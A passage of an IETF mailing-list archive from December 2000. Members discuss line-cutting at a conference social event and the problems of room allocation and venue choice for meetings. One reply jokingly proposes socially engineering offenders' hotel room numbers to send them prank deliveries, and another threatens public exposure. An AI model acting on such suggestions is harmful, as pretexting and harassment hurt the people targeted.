steve@networksorcery.com (Steve Conner) To: "John Stracke" , References: <20001213223131.968F7898@sean.ebone.net> <3A380266.EE903B44@ecal.com> Subject: Re: guidance (re: social event politeness) Date: Wed, 13 Dec 2000 16:18:13 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.5600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.5600 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit You would think that a convention full of networking folk would have prepared better for congestion control. :-) ----- Original Message ----- From: "John Stracke" To: Sent: Wednesday, December 13, 2000 3:12 PM Subject: Re: guidance (re: social event politeness) > Sean Doran wrote: > > > Is it appropriate to name & shame people who were cutting into > > line yesterday during the social event, yet who did not admit to > > and fix the error of their ways when it was pointed out that this > > unfair behaviour is inappropriate? > > I will admit that I cut once, basically by accident, because I saw what > looked like a table with nobody lined up at it--of course, the line was > on the other side. I'm still not sure how I missed that--I think I was > just too hungry; when I saw food, I got tunnel vision and went straight > for it. I apologize. > > (Of course, we could discuss how the social was laid out so as to make it > almost impossible to have well-defined lines...not an excuse, but it was > part of the problem.) > > -- > /==============================================================\ > |John Stracke | http://www.ecal.com |My opinions are my own.| > |Chief Scientist |=============================================| > |eCal Corp. |Among animals, it's eat or be eaten. Among | > |francis@ecal.com|people, it's define or be defined. | > \==============================================================/ > > > > From owner-ietf-outbound Wed Dec 13 19:40:17 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA01429 for ietf-outbound.10@ietf.org; Wed, 13 Dec 2000 19:40:02 -0500 (EST) Received: from nic.cafax.se (nic.cafax.se [192.71.228.17]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA28212 for ; Wed, 13 Dec 2000 19:27:21 -0500 (EST) Received: (from bygg@localhost) by nic.cafax.se (8.10.2/8.11.2.Beta0) id eBE0RI326793 for ietf@ietf.org; Thu, 14 Dec 2000 01:27:18 +0100 (MET) Date: Thu, 14 Dec 100 1:27:18 WET From: Johnny Eriksson To: ietf@ietf.org Subject: Re: 49th-IETF conf room planning In-Reply-To: Your message of Wed, 13 Dec 2000 15:00:09 -0800 Message-ID: X-Loop: ietf@ietf.org Pete Resnick wrote: > On 12/13/00 at 1:30 PM -0800, Lane Patterson wrote: > > >Would the IETF organizers consider requesting WG/BOF attendance > >plans upon registration? > > They do ask when the meeting is scheduled. It is up to the chair to > estimate appropriately. A couple of times earlier (but I don't remember it being done this time) the registration process has contained a brief questionnare on what sessions/bofs you wanted to attend. > Pete Resnick --Johnny From owner-ietf-outbound Wed Dec 13 19:50:22 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA03714 for ietf-outbound.10@ietf.org; Wed, 13 Dec 2000 19:50:04 -0500 (EST) Received: from twin.uoregon.edu (IDENT:root@twin.uoregon.edu [128.223.214.27]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA01568 for ; Wed, 13 Dec 2000 19:40:39 -0500 (EST) Received: from localhost (joelja@localhost) by twin.uoregon.edu (8.11.0/8.11.0) with ESMTP id eBE11RR16521; Wed, 13 Dec 2000 17:01:27 -0800 X-Authentication-Warning: twin.uoregon.edu: joelja owned process doing -bs Date: Wed, 13 Dec 2000 17:01:27 -0800 (PST) From: Joel Jaeggli X-Sender: To: Steve Conner cc: John Stracke , Subject: Re: guidance (re: social event politeness) In-Reply-To: <007f01c06563$590e9730$6501a8c0@CHIMERA> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org RED On Wed, 13 Dec 2000, Steve Conner wrote: > You would think that a convention full of networking folk would have > prepared better for congestion control. :-) > > ----- Original Message ----- > From: "John Stracke" > To: > Sent: Wednesday, December 13, 2000 3:12 PM > Subject: Re: guidance (re: social event politeness) > > > > Sean Doran wrote: > > > > > Is it appropriate to name & shame people who were cutting into > > > line yesterday during the social event, yet who did not admit to > > > and fix the error of their ways when it was pointed out that this > > > unfair behaviour is inappropriate? > > > > I will admit that I cut once, basically by accident, because I saw what > > looked like a table with nobody lined up at it--of course, the line was > > on the other side. I'm still not sure how I missed that--I think I was > > just too hungry; when I saw food, I got tunnel vision and went straight > > for it. I apologize. > > > > (Of course, we could discuss how the social was laid out so as to make it > > almost impossible to have well-defined lines...not an excuse, but it was > > part of the problem.) > > > > -- > > /==============================================================\ > > |John Stracke | http://www.ecal.com |My opinions are my own.| > > |Chief Scientist |=============================================| > > |eCal Corp. |Among animals, it's eat or be eaten. Among | > > |francis@ecal.com|people, it's define or be defined. | > > \==============================================================/ > > > > > > > > > -- -------------------------------------------------------------------------- Joel Jaeggli joelja@darkwing.uoregon.edu Academic User Services consult@gladstone.uoregon.edu PGP Key Fingerprint: 1DE9 8FCA 51FB 4195 B42A 9C32 A30D 121E -------------------------------------------------------------------------- It is clear that the arm of criticism cannot replace the criticism of arms. Karl Marx -- Introduction to the critique of Hegel's Philosophy of the right, 1843. From owner-ietf-outbound Wed Dec 13 20:00:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA05972 for ietf-outbound.10@ietf.org; Wed, 13 Dec 2000 20:00:02 -0500 (EST) Received: from birch.ripe.net (birch.ripe.net [193.0.1.96]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA05311 for ; Wed, 13 Dec 2000 19:57:12 -0500 (EST) Received: from kantoor.ripe.net (kantoor.ripe.net [193.0.1.98]) by birch.ripe.net (8.8.8/8.8.8) with ESMTP id BAA18861; Thu, 14 Dec 2000 01:56:38 +0100 (CET) Received: from localhost (henk@localhost) by kantoor.ripe.net (8.8.8/8.8.5) with ESMTP id BAA16164; Thu, 14 Dec 2000 01:56:38 +0100 (CET) X-Authentication-Warning: kantoor.ripe.net: henk owned process doing -bs Date: Thu, 14 Dec 2000 01:56:38 +0100 (CET) From: "Henk Uijterwaal (RIPE-NCC)" To: Johnny Eriksson cc: ietf@ietf.org Subject: Re: 49th-IETF conf room planning In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org On Thu, 14 Dec 100, Johnny Eriksson wrote: > Pete Resnick wrote: > > > On 12/13/00 at 1:30 PM -0800, Lane Patterson wrote: > > > > >Would the IETF organizers consider requesting WG/BOF attendance > > >plans upon registration? > > > > They do ask when the meeting is scheduled. It is up to the chair to > > estimate appropriately. > > A couple of times earlier (but I don't remember it being done this time) > the registration process has contained a brief questionnare on what > sessions/bofs you wanted to attend. Yes, but I don't recall that the room size problem was solved at these IETF's. Henk ------------------------------------------------------------------------------ Henk Uijterwaal Email: henk.uijterwaal@ripe.net RIPE Network Coordination Centre WWW: http://www.ripe.net/home/henk Singel 258 Phone: +31.20.535-4414, Fax -4445 1016 AB Amsterdam Home: +31.20.4195305 The Netherlands Mobile: +31.6.55861746 ------------------------------------------------------------------------------ A man can take a train and never reach his destination. (Kerouac, well before RFC2780). From owner-ietf-outbound Wed Dec 13 20:10:23 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA08245 for ietf-outbound.10@ietf.org; Wed, 13 Dec 2000 20:10:04 -0500 (EST) Received: from jis.mit.edu (JIS.MIT.EDU [18.72.0.200]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA05673 for ; Wed, 13 Dec 2000 19:58:49 -0500 (EST) Received: from localhost.localdomain (localhost [127.0.0.1]) by jis.mit.edu (8.9.1b+Sun/8.9.3) with ESMTP id TAA15964; Wed, 13 Dec 2000 19:58:35 -0500 (EST) Received: (from jis@localhost) by localhost.localdomain (8.8.7/8.8.7) id QAA01095; Wed, 13 Dec 2000 16:58:23 -0800 X-Authentication-Warning: localhost.localdomain: jis set sender to jis@mit.edu using -f Date: Wed, 13 Dec 2000 16:58:23 -0800 From: "Jeffrey I. Schiller" To: Scott Brim Cc: Randy Bush , Sean Doran , ietf@ietf.org Subject: Re: guidance (re: social event politeness) Message-ID: <20001213165823.A1015@localhost.localdomain> References: <20001213223131.968F7898@sean.ebone.net> <14904.2401.668316.199220@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <14904.2401.668316.199220@localhost.localdomain>; from sbrim@cisco.com on Wed, Dec 13, 2000 at 03:42:25PM -0800 X-Loop: ietf@ietf.org On Wed, Dec 13, 2000 at 03:42:25PM -0800, Scott Brim wrote: > ... Second, the overcrowding at the social > event was such that it was clear there was a very good chance that if > you weren't at the front of a "line" you would not get what you wanted > ever. Ever. Not a situation we face very often. Indeed I waited on line for 15 minutes and when I finally got to the food table there was NOTHING (except some Chick Peas). I stood around for a while and eventually wandered away. For my second attempt, I was not so polite (and the line was a bit amorphous), but I got food! We shouldn't criticize people based on their behavior in a crowded and poorly organized arrangement (the placement of the food by the theater made determining who was on what line problematical). -Jeff From owner-ietf-outbound Wed Dec 13 20:30:20 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA12711 for ietf-outbound.10@ietf.org; Wed, 13 Dec 2000 20:30:02 -0500 (EST) Received: from solidum.com (wirespeed.solidum.com [207.35.224.226]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA09207 for ; Wed, 13 Dec 2000 20:13:31 -0500 (EST) Received: from research.solidum.com (phobos.solidum.com [192.168.1.13]) by solidum.com (8.8.7/8.8.7) with ESMTP id UAA05520 for ; Wed, 13 Dec 2000 20:13:31 -0500 Received: from phobos.solidum.com (localhost [127.0.0.1]) by research.solidum.com (8.11.0/8.11.0) with ESMTP id eBE1DQg04367 for ; Wed, 13 Dec 2000 20:13:26 -0500 (EST) Message-Id: <200012140113.eBE1DQg04367@research.solidum.com> To: ietf@ietf.org Subject: Re: 49th-IETF conf room planning In-Reply-To: Your message of "Wed, 13 Dec 2000 18:44:03 EST." <4FBEA8857476D311A03300204840E1CF01A6EB97@whq-msgusr-02.pit.comms.marconi.com> Mime-Version: 1.0 (generated by tm-edit 1.5) Content-Type: text/plain; charset=US-ASCII Date: Wed, 13 Dec 2000 20:13:26 -0500 From: Michael Richardson X-Loop: ietf@ietf.org >>>>> "Rosen," == Rosen, Brian writes: Rosen,> On this subject, may I suggest that we have outgrown hotel Rosen,> conference facilities. The place where we have outgrown them is Rosen,> hallways -- hotel facilities simply do not have adequate hallways This, this isn't the first time this has occured. I'm kind of glad that I couldn't go at the last minute :-) [I was rewarded with 25cm of snow] Orlando was particularly bad last year, although Minneapolis was okay. Pittsburgh was not great, except during cookie time, and there was only was critical congestion point, which could have been solved by putting no cookies there. How are people finding it to get to and from the conference hotel? My impression is that the choice of hotel was geographically one of the worse choices possible for in San Diego. Rosen,> At this particular meeting, we compounded the problem by putting Rosen,> food service in the MIDDLE of the hall. We also, in virtually Rosen,> the same area put the registration area, causing close to illegal Rosen,> density of people. This is just unacceptable. Ick. The requirement for several thousand hotel rooms in close proximity, 10 tracks of working group meetings, terminal room, etc. likely limits the number of cities that we can go to. I notice we are going back to Minneapolis, and I've been to DC both times (will they ever finish remodeling that hotel?). I didn't make LA the second time, so I don't know if it occured in the same hotel or not. The first time (when we were 1400 or so, I think) was perfect in LA. :!mcr!: | Solidum Systems Corporation, http://www.solidum.com Michael Richardson |For a better connected world,where data flows faster Personal: http://www.sandelman.ottawa.on.ca/People/Michael_Richardson/Bio.html mailto:mcr@sandelman.ottawa.on.ca mailto:mcr@solidum.com From owner-ietf-outbound Wed Dec 13 20:40:20 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA14885 for ietf-outbound.10@ietf.org; Wed, 13 Dec 2000 20:40:04 -0500 (EST) Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA10179 for ; Wed, 13 Dec 2000 20:18:07 -0500 (EST) Received: from bart.cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id UAA01359; Wed, 13 Dec 2000 20:18:07 -0500 (EST) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by bart.cs.columbia.edu (8.9.3/8.9.3) with ESMTP id UAA02009; Wed, 13 Dec 2000 20:18:07 -0500 (EST) Message-ID: <3A384AF1.A71D453D@cs.columbia.edu> Date: Wed, 13 Dec 2000 20:22:09 -0800 From: Henning Schulzrinne Organization: Columbia University X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Harald Alvestrand CC: Lane Patterson , ietf@ietf.org Subject: Re: 49th-IETF conf room planning References: <4.3.2.7.2.20001213161126.05cb6820@127.0.0.1> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit This would need to be integrated with the general registration mechanism to have any chance of being representative. Or you can hand out yellow badges to those who filled out the form. If the room is full, the white badges get kicked out.... Harald Alvestrand wrote: > > At 13:30 13/12/2000 -0800, Lane Patterson wrote: > >This has likely been proposed previously, but I would like to > >raise the topic of mapping adequate conf rooms to WGs and BOFs. > >I have now attended 3 WGs that had to turn away attendees due > >to extreme lack of space, and several others that had plenty of > >extra unutilized space. > > > >Would the IETF organizers consider requesting WG/BOF attendance > >plans upon registration? Are there other suggestions for > >improvement in this process? > > The biggest improvement would be if people could sign up for the meetings 2 > years in advance, so that we could book big enough meeting facilities. > > The assignment to rooms is based on the WG/BOF chairs' estimates of > attendance. Getting better estimates would help - but this would have to be > done entirely automagically if it were to help the (small) secretariat > staff, and be filled in correctly. > > Anyone volunteering to write/host the data entry pieces of this, so that we > can test it at a forthcoming IETF? > > -- > Harald Tveit Alvestrand, alvestrand@cisco.com > +47 41 44 29 94 > Personal email: Harald@Alvestrand.no > > - > This message was passed through ietf+censored@alvestrand.no, which > is a sublist of ietf@ietf.org. Not all messages are passed. > Decisions on what to pass are made solely by Harald Alvestrand. From owner-ietf-outbound Wed Dec 13 20:50:09 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA17328 for ietf-outbound.10@ietf.org; Wed, 13 Dec 2000 20:50:02 -0500 (EST) Received: from perq.cac.washington.edu (ietf.207.137.74.54.tx.verio.net [207.137.74.54]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA10486 for ; Wed, 13 Dec 2000 20:19:29 -0500 (EST) Received: from localhost (rlmorgan@localhost) by perq.cac.washington.edu (8.11.0/8.11.0) with ESMTP id eBE1JZb02254 for ; Wed, 13 Dec 2000 17:19:35 -0800 X-Authentication-Warning: perq.cac.washington.edu: rlmorgan owned process doing -bs Date: Wed, 13 Dec 2000 17:19:34 -0800 (PST) From: "RL 'Bob' Morgan" X-Sender: Reply-To: "RL 'Bob' Morgan" To: Subject: Re: guidance (re: social event politeness) In-Reply-To: <20001213223131.968F7898@sean.ebone.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org > Is it appropriate to name & shame people Be liberal in the abuse you accept, and conservative in the abuse you dole out. - RL "Bob" From owner-ietf-outbound Wed Dec 13 21:00:08 2000 Received: by ietf.org (8.9.1a/8.9.1a) id VAA19584 for ietf-outbound.10@ietf.org; Wed, 13 Dec 2000 21:00:02 -0500 (EST) Received: from ogma.cisco.com (ogma.cisco.com [144.254.74.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA11849 for ; Wed, 13 Dec 2000 20:25:56 -0500 (EST) Received: from nordic.cisco.com (nordic.cisco.com [144.254.116.47]) by ogma.cisco.com (Postfix) with ESMTP id 57C9FDD; Thu, 14 Dec 2000 02:25:27 +0100 (MET) Received: from [199.106.117.62] (ssh-sj1.cisco.com [171.68.225.134]) by nordic.cisco.com (8.8.8+Sun/8.8.8) with ESMTP id CAA06882; Thu, 14 Dec 2000 02:25:24 +0100 (MET) Mime-Version: 1.0 X-Sender: pfaltstr@199.106.117.62 Message-Id: In-Reply-To: <007f01c06563$590e9730$6501a8c0@CHIMERA> References: <20001213223131.968F7898@sean.ebone.net> <3A380266.EE903B44@ecal.com> <007f01c06563$590e9730$6501a8c0@CHIMERA> Date: Wed, 13 Dec 2000 17:07:05 -0800 To: steve@networksorcery.com (Steve Conner), "John Stracke" , From: Patrik =?iso-8859-1?Q?F=E4ltstr=F6m?= Subject: Re: guidance (re: social event politeness) Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Loop: ietf@ietf.org At 16.18 -0800 00-12-13, Steve Conner wrote: >You would think that a convention full of networking folk would have >prepared better for congestion control. :-) As long as you don't start doing fragmenting. paf -- From owner-ietf-outbound Wed Dec 13 21:40:24 2000 Received: by ietf.org (8.9.1a/8.9.1a) id VAA27708 for ietf-outbound.10@ietf.org; Wed, 13 Dec 2000 21:40:02 -0500 (EST) Received: from sean.ebone.net (IDENT:postfix@sean.ebone.net [195.158.227.211]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA17937 for ; Wed, 13 Dec 2000 20:52:40 -0500 (EST) Received: by sean.ebone.net (Postfix, from userid 1113) id D9A8B898; Thu, 14 Dec 2000 02:52:39 +0100 (CET) Sender: smd@sean.ebone.net To: ietf@ietf.org Subject: Re: guidance (re: social event politeness) References: <20001213223131.968F7898@sean.ebone.net> From: Sean Doran Date: 14 Dec 2000 02:52:39 +0100 In-Reply-To: <20001213165823.A1015@localhost.localdomain> Message-ID: <52bsufydjs.fsf@sean.ebone.net> Lines: 50 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Loop: ietf@ietf.org Thanks for the feedback, public and private. It is pretty clear that we attendees should talk to Qualcomm and Cisco about the disorganization of the social event. Our individual account team or sales people seem like good targets for complaints. However, wrt queue-jumping, there is a serious qualitative difference between what some of us are admitting to (innocently not realizing there ws a queue) and what happened in the IMAX queue. What I observed was this: the elevated red cloth strips forming the "walls" of the serpentine line to the IMAX show seemed to attract a sizable handful of people who realized that they can be "ducked under", or indeed, dismantled. I am sad to say that I saw this frequently while I was in one or the other corner near the IMAX theatre exit doors. When some friends and I pointed out to people doing this queue-jumping that they were being unfair to everyone else (who were suffering from the same disorganization), approximately 3/4 of the people in question left the queue and rejoined it at the back. Others required firmer persuasion, and a few required a threat of exposure on this mailing list before un-jumping from the queue. There were only FOUR people who refused to leave the queue. None offered an excuse (such as, I was just throwing away some garbage, or getting drinks for my friends here). They simply stayed in place, apparently not caring that they cut in ahead of hundreds of people who followed normal rules most of us learned as children. Two of these people were wearing their IETF conference badges. One was identified by several people nearby, who recognized her. One guy not only said "go ahead and name me", he attempted to identify himself AS SOMEONE ELSE, by handing over another person's business card. To this person: WE KNOW WHO YOU ARE NOW. I believe at least some of this is unacceptable behaviour that cannot be overlooked simply by virtue of general disorganization or industry competitiveness, and look for guidance about how we should (collectively) police such poorly-socialized people, if at all. Sean. From owner-ietf-outbound Wed Dec 13 22:10:23 2000 Received: by ietf.org (8.9.1a/8.9.1a) id WAA01205 for ietf-outbound.10@ietf.org; Wed, 13 Dec 2000 22:10:02 -0500 (EST) Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA23030 for ; Wed, 13 Dec 2000 21:16:22 -0500 (EST) Received: from sonic.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP id ; Thu, 14 Dec 2000 02:16:19 +0000 To: ietf@ietf.org Subject: Re: 49th-IETF conf room planning Date: Thu, 14 Dec 2000 02:16:18 +0000 Message-ID: <6460.976760178@cs.ucl.ac.uk> From: Jon Crowcroft X-Loop: ietf@ietf.org its appropriate that the 51st ietf is gonna be in the '51st state" - we've been playing with market forces for 23 years (18 years of margaret thatcher then john major, then tony blair) - solutons in london will involve vickrey auctions for the seats - themoney will be used to pay for upgrading the railway track from heathrow airport to the ietf venue tp make sure people dont miss more than a day of the fest cheers jon p.s. congrats to bush - i am glad to see that the law of succession is being restored in the US after many ears ofrejection of uk rule.... From owner-ietf-outbound Wed Dec 13 22:20:12 2000 Received: by ietf.org (8.9.1a/8.9.1a) id WAA02421 for ietf-outbound.10@ietf.org; Wed, 13 Dec 2000 22:20:03 -0500 (EST) Received: from garlic.amaranth.net (garlic.amaranth.net [216.235.243.195]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA25802 for ; Wed, 13 Dec 2000 21:32:26 -0500 (EST) Received: from senie.com (garlic.amaranth.net [216.235.243.195]) (authenticated (0 bits)) by garlic.amaranth.net (8.11.1/8.11.1) with ESMTP id eBE2WFV21769; Wed, 13 Dec 2000 21:32:15 -0500 Message-ID: <3A38312F.358CAA5A@senie.com> Date: Wed, 13 Dec 2000 21:32:15 -0500 From: Daniel Senie Organization: Amaranth Networks Inc. X-Mailer: Mozilla 4.76 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Michael Richardson CC: ietf@ietf.org Subject: Re: 49th-IETF conf room planning References: <200012140113.eBE1DQg04367@research.solidum.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Michael Richardson wrote: > > >>>>> "Rosen," == Rosen, Brian writes: > Rosen,> On this subject, may I suggest that we have outgrown hotel > Rosen,> conference facilities. The place where we have outgrown them is > Rosen,> hallways -- hotel facilities simply do not have adequate hallways > > This, this isn't the first time this has occured. I'm kind of glad that > I couldn't go at the last minute :-) [I was rewarded with 25cm of snow] > > Orlando was particularly bad last year, although Minneapolis was okay. > Pittsburgh was not great, except during cookie time, and there was only > was critical congestion point, which could have been solved by putting > no cookies there. > > How are people finding it to get to and from the conference hotel? > My impression is that the choice of hotel was geographically one of > the worse choices possible for in San Diego. > > Rosen,> At this particular meeting, we compounded the problem by putting > Rosen,> food service in the MIDDLE of the hall. We also, in virtually > Rosen,> the same area put the registration area, causing close to illegal > Rosen,> density of people. This is just unacceptable. > > Ick. > The requirement for several thousand hotel rooms in close proximity, 10 > tracks of working group meetings, terminal room, etc. likely limits the > number of cities that we can go to. I notice we are going back to > Minneapolis, and I've been to DC both times (will they ever finish remodeling > that hotel?). I didn't make LA the second time, so I don't know if it > occured in the same hotel or not. The first time (when we were 1400 or so, > I think) was perfect in LA. Last time in LA worked OK, I thought. It's probably a good choice for another visit. The Fairmont in San Jose also has a decent layout and worked well last time we were there. The hallway issue is one that's been a problem at a number of venues over the last several years. I am starting to wonder if we're going to have to hold the meetings primarily in Las Vegas. Vegas has the advantage of TONS of hotel rooms, plenty of meeting space, and everything's close together. The hotel rooms are relatively cheap (no idea about the cost of the conference spaces, though). IETF would be a really tiny group for Vegas, but it might be a really good fit. -- ----------------------------------------------------------------- Daniel Senie dts@senie.com Amaranth Networks Inc. http://www.amaranth.com From owner-ietf-outbound Wed Dec 13 22:30:19 2000 Received: by ietf.org (8.9.1a/8.9.1a) id WAA04602 for ietf-outbound.10@ietf.org; Wed, 13 Dec 2000 22:30:04 -0500 (EST) Received: from solidum.com (wirespeed.solidum.com [207.35.224.226]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA28306 for ; Wed, 13 Dec 2000 21:44:54 -0500 (EST) Received: from research.solidum.com (phobos.solidum.com [192.168.1.13]) by solidum.com (8.8.7/8.8.7) with ESMTP id VAA07044 for ; Wed, 13 Dec 2000 21:44:55 -0500 Received: from phobos.solidum.com (localhost [127.0.0.1]) by research.solidum.com (8.11.0/8.11.0) with ESMTP id eBE2ipg05117 for ; Wed, 13 Dec 2000 21:44:51 -0500 (EST) Message-Id: <200012140244.eBE2ipg05117@research.solidum.com> To: ietf@ietf.org Subject: Re: 49th-IETF conf room planning In-Reply-To: Your message of "Wed, 13 Dec 2000 21:32:15 EST." <3A38312F.358CAA5A@senie.com> Mime-Version: 1.0 (generated by tm-edit 1.5) Content-Type: text/plain; charset=US-ASCII Date: Wed, 13 Dec 2000 21:44:51 -0500 From: Michael Richardson X-Loop: ietf@ietf.org >>>>> "Daniel" == Daniel Senie writes: Daniel> meetings primarily in Las Vegas. Vegas has the advantage of TONS Daniel> of hotel rooms, plenty of meeting space, and everything's close Daniel> together. The hotel rooms are relatively cheap (no idea about the Daniel> cost of the conference spaces, though). IETF would be a really Daniel> tiny group for Vegas, but it might be a really good fit. Also has fairly good flight connections. By analogy, the yearly off-continent IETF should occur in Monte Carlo? [man, I hate these stupid Exchange vacation messages] From owner-ietf-outbound Wed Dec 13 22:40:11 2000 Received: by ietf.org (8.9.1a/8.9.1a) id WAA09045 for ietf-outbound.10@ietf.org; Wed, 13 Dec 2000 22:40:02 -0500 (EST) Received: from mail.perspex.com (outside-eth.virpack.com [12.5.16.108] (may be forged)) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA01317 for ; Wed, 13 Dec 2000 22:10:59 -0500 (EST) Received: from localhost (tlilley@localhost) by mail.perspex.com (8.8.7/8.7.3) with SMTP id DAA31281; Thu, 14 Dec 2000 03:35:56 GMT Date: Thu, 14 Dec 2000 03:35:56 +0000 (/etc/localtime) From: Tripp Lilley To: Sean Doran cc: ietf@ietf.org Subject: Re: guidance (re: social event politeness) In-Reply-To: <52bsufydjs.fsf@sean.ebone.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org On 14 Dec 2000, Sean Doran wrote: > I believe at least some of this is unacceptable behaviour > that cannot be overlooked simply by virtue of general > disorganization or industry competitiveness, and look for > guidance about how we should (collectively) police such > poorly-socialized people, if at all. Possible solutions, in no particular order: a) "There are few problems in life that can't be adequately addressed by a suitable application of high explosives." b) Whisper "asshole" whenever you're within earshot of the offenders, simultaneously throwing a brief but withering glance at them. Encourage others who were directly or indirectly a party to the offense to do the same. c) Socially engineer their room numbers then let your inner 12 year old loose, unsupervised, in a hotel with room service and a city full of delivery services of all kinds. Depending on the delivery services you enlist, be prepared with photographic equipment. d) Be glad you don't suffer such a pathetic existence as to have to lord your supposed privilege over others in order to feel anything analogous to self-worth. Whenever you're reminded of the offenders or the offense, recall this line and chuckle softly in bemusement. If they can hear you, so much the better, because they'll know you're having a little laugh at the expense of their aforementioned pathetic existence. Of course, in spite of what you might think, reading this, I'm inclined to be a pretty nice guy :) -- Joy-Loving * Tripp Lilley * http://stargate.eheart.sg505.net/~tlilley/ ------------------------------------------------------------------------------ "There were other lonely singers / in a world turned deaf and blind Who were crucified for what they tried to show. Their voices have been scattered by the swirling winds of time, 'Cause the truth remains that no one wants to know." - Kris Kristofferson, "To Beat the Devil" From owner-ietf-outbound Wed Dec 13 22:50:16 2000 Received: by ietf.org (8.9.1a/8.9.1a) id WAA13602 for ietf-outbound.10@ietf.org; Wed, 13 Dec 2000 22:50:03 -0500 (EST) Received: from dokka.maxware.no (dokka.maxware.no [195.139.236.69]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA02230 for ; Wed, 13 Dec 2000 22:18:40 -0500 (EST) Received: from HALVESTR-8KCDT.alvestrand.no (localhost [127.0.0.1]) by dokka.maxware.no (8.9.3/8.9.3) with ESMTP id EAA10901; Thu, 14 Dec 2000 04:18:34 +0100 Message-Id: <4.3.2.7.2.20001213190540.03b3ce70@127.0.0.1> X-Sender: hta@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 13 Dec 2000 19:08:09 -0800 To: Henning Schulzrinne From: Harald Alvestrand Subject: Re: 49th-IETF conf room planning Cc: Lane Patterson , ietf@ietf.org In-Reply-To: <3A384AF1.A71D453D@cs.columbia.edu> References: <4.3.2.7.2.20001213161126.05cb6820@127.0.0.1> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 20:22 13/12/2000 -0800, Henning Schulzrinne wrote: >This would need to be integrated with the general registration mechanism >to have any chance of being representative. Or you can hand out yellow >badges to those who filled out the form. If the room is full, the white >badges get kicked out.... do not think it is a joke....at the Cisco Networkers in Paris, you had to sign on for all the sessions; your agenda was printend on the back of your badge. Staff at the door would only let in the people who could show that they were listed for that session until right before the session started; only then could the rest of the folks go in. VERY Expensive. But it worked. In the IETF, we have: - Large floating population - Session scheduling done AFTER most people have signed up - Large amount of wandering in and out. We are not an easy community to plan for. -- Harald Tveit Alvestrand, alvestrand@cisco.com +47 41 44 29 94 Personal email: Harald@Alvestrand.no From owner-ietf-outbound Wed Dec 13 23:00:12 2000 Received: by ietf.org (8.9.1a/8.9.1a) id XAA17491 for ietf-outbound.10@ietf.org; Wed, 13 Dec 2000 23:00:03 -0500 (EST) Received: from twin.uoregon.edu (IDENT:root@twin.uoregon.edu [128.223.214.27]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA02249 for ; Wed, 13 Dec 2000 22:18:42 -0500 (EST) Received: from localhost (joelja@localhost) by twin.uoregon.edu (8.11.0/8.11.0) with ESMTP id eBE3dYn17693 for ; Wed, 13 Dec 2000 19:39:34 -0800 X-Authentication-Warning: twin.uoregon.edu: joelja owned process doing -bs Date: Wed, 13 Dec 2000 19:39:34 -0800 (PST) From: Joel Jaeggli X-Sender: To: Subject: Re: guidance (re: social event politeness) In-Reply-To: <52bsufydjs.fsf@sean.ebone.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org Another common curtesy issue this thread has raised is vacation scripts... I've recieved 3 dozen or so responses from people on the mailing list who have automated vacation scripts. Please if you must use a vaction script on your mail either unsubscribe from the mailing list while you're gone, use procmail to filter your lists so they don't get caught by your vacation script, or just don't use vacation... Judging from the laptop/wireless card density I seriously 